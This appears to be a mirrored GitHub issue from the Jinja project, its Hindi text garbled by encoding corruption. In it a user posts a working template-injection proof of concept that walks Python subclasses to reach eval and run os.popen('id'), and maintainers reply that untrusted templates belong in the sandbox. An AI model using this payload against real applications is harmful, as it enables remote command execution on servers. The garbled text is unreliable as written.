Jinja: рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рдмрд┐рдирд╛ рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВред

рдХреЛ рдирд┐рд░реНрдорд┐рдд 23 рдлрд╝рд░ре░ 2016  ┬╖  6рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ  ┬╖  рд╕реНрд░реЛрдд: pallets/jinja

рдЬрдм рдореИрдВ рдЕрдкрдиреЗ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдореЗрдВ Jinja2 рдЯреЗрдореНрдкреНрд▓реЗрдЯ рдлреНрд░реЗрдорд╡рд░реНрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реВрдВ, рддреЛ рдореБрдЭреЗ "os.popen ('id')" рдпрд╛ рд╡реИрд╢реНрд╡рд┐рдХ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЗ рдмрд┐рдирд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдорд┐рд▓рд╛ред
рдЬрдм рд╣рдорд▓рд╛рд╡рд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рд╕рд╛рдордЧреНрд░реА рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рддреЛ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЖрд╕рд╛рди рд╣реЛрддрд╛ рд╣реИред рдХреНрдпрд╛ рдРрд╕рд╛ рдбрд┐рдЬрд╝рд╛рдЗрди рд╣реИ?

рдкреАрдУрд╕реА:

from jinja2 import Template

content = '''
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %} {% endif %} {% endfor %}
{% endif %} {% endfor %}
'''
print Template(content).render()

рдореИрдВ рдЗрд╕ рдХреЛрдб рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдкрд╛рдпрдерди 2 (2.7.10) рдФрд░ рдЬрд┐рдВрдЬрд╛ 2 (2.8) рдХреЗ рд╕рд╛рде рдХрд░рддрд╛ рд╣реВрдВ, рдЕрдЧрд░ рдпрд╣ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рддреЛ рдЖрдкрдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдпреВрдЖрдИрдбреА рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдЧрд╛ ...

рд╕рдмрд╕реЗ рдЙрдкрдпреЛрдЧреА рдЯрд┐рдкреНрдкрдгреА

рдЖрдкрдХреЛ рдЧреИрд░-рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╡рд╛рд▓реЗ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдЯреЗрдореНрдкреНрд▓реЗрдЯ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдирд╣реАрдВ рдХрд░рдиреЗ рдЪрд╛рд╣рд┐рдПред рдпрд╣реА рдХрд╛рд░рдг рд╣реИ рдХрд┐ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдореМрдЬреВрдж рд╣реИ (рдФрд░ рдИрдорд╛рдирджрд╛рд░ рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП, рдпрд╣рд╛рдВ рддрдХ тАЛтАЛтАЛтАЛрдХрд┐ рдПрдХ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рд╕рд╛рде рднреА рдореИрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдордирдорд╛рдиреЗ рдврдВрдЧ рд╕реЗ рдЬрд┐рдиреНрдЬрд╛ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдкреНрд░рджрд╛рди рдирд╣реАрдВ рдХрд░рдиреЗ рджреВрдВрдЧрд╛)

рд╕рднреА 6 рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ

рдЖрдкрдХреЛ рдЧреИрд░-рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╡рд╛рд▓реЗ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдЯреЗрдореНрдкреНрд▓реЗрдЯ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдирд╣реАрдВ рдХрд░рдиреЗ рдЪрд╛рд╣рд┐рдПред рдпрд╣реА рдХрд╛рд░рдг рд╣реИ рдХрд┐ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдореМрдЬреВрдж рд╣реИ (рдФрд░ рдИрдорд╛рдирджрд╛рд░ рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП, рдпрд╣рд╛рдВ рддрдХ тАЛтАЛтАЛтАЛрдХрд┐ рдПрдХ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рд╕рд╛рде рднреА рдореИрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдордирдорд╛рдиреЗ рдврдВрдЧ рд╕реЗ рдЬрд┐рдиреНрдЬрд╛ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдкреНрд░рджрд╛рди рдирд╣реАрдВ рдХрд░рдиреЗ рджреВрдВрдЧрд╛)

рддреЛ, рдХреНрдпрд╛ рдЗрд╕ рдорд╛рдорд▓реЗ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрд╛рдп рдХрд░рдирд╛ рдЬрд░реВрд░реА рд╣реИ? рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдХреБрдЫ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЯреЗрдореНрдкрд▓реЗрдЯ рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╕рдВрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдВрдЧреЗ, рд▓реЗрдХрд┐рди рдХреЛрдИ рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рдЙрджрд╛рд╣рд░рдг рдирд╣реАрдВ рд╣реИред

рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдлреНрд▓рд╛рд╕реНрдХ рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рд╡реЗрдм рдврд╛рдВрдЪреЗ рдХрд╛ рдЗрд╕реНрддреЗрдорд╛рд▓ рдЬрд┐рдиреНрдЬрд╛ 2 рдРрд╕рд╛ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред

рдЖрдк рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреНрдпреЛрдВ рдХрд░рдирд╛ рдЪрд╛рд╣реЗрдВрдЧреЗ? рдЬреНрдпрд╛рджрд╛рддрд░ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдЯреЗрдореНрдкреНрд▓реЗрдЯ рдХреЛ рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд▓реЛрдЧреЛрдВ рджреНрд╡рд╛рд░рд╛ рдирд╣реАрдВ рдмрджрд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рдирдХреЗ рдкрд╛рд╕ рд╡реИрд╕реЗ рднреА рдХреЛрдб рддрдХ рдкрд╣реБрдВрдЪ рдирд╣реАрдВ рд╣реИред

Uber рдореЗрдВ рдлреНрд▓рд╛рд╕реНрдХ/Jinja2 рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд░рд┐рдореЛрдЯ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдПрдХ рдорд╛рдорд▓рд╛ рд╣реИред
рд▓рд┐рдВрдХ: http://www.tuicool.com/articles/uE3YNjY

рд╕реИрдВрдбрдмреЙрдХреНрд╕рд┐рдВрдЧ рдХреЛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╕рдХреНрд╖рдо рдХрд░рдирд╛ рдмреИрдХрд╡рд░реНрдб рдХрдВрдкреИрдЯ рдХреЗ рдХрд╛рд░рдг рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИ, рдФрд░ рдпрд╣ рднреА рдЙрдЪрд┐рдд рдирд╣реАрдВ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЕрдзрд┐рдХрд╛рдВрд╢ рдЯреЗрдореНрдкреНрд▓реЗрдЯ (рдлреНрд▓рд╛рд╕реНрдХ рдореЗрдВ) рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╣реИрдВред

рдХреНрдпрд╛ рдпрд╣ рдкреГрд╖реНрда рдЙрдкрдпреЛрдЧреА рдерд╛?
0 / 5 - 0 рд░реЗрдЯрд┐рдВрдЧреНрд╕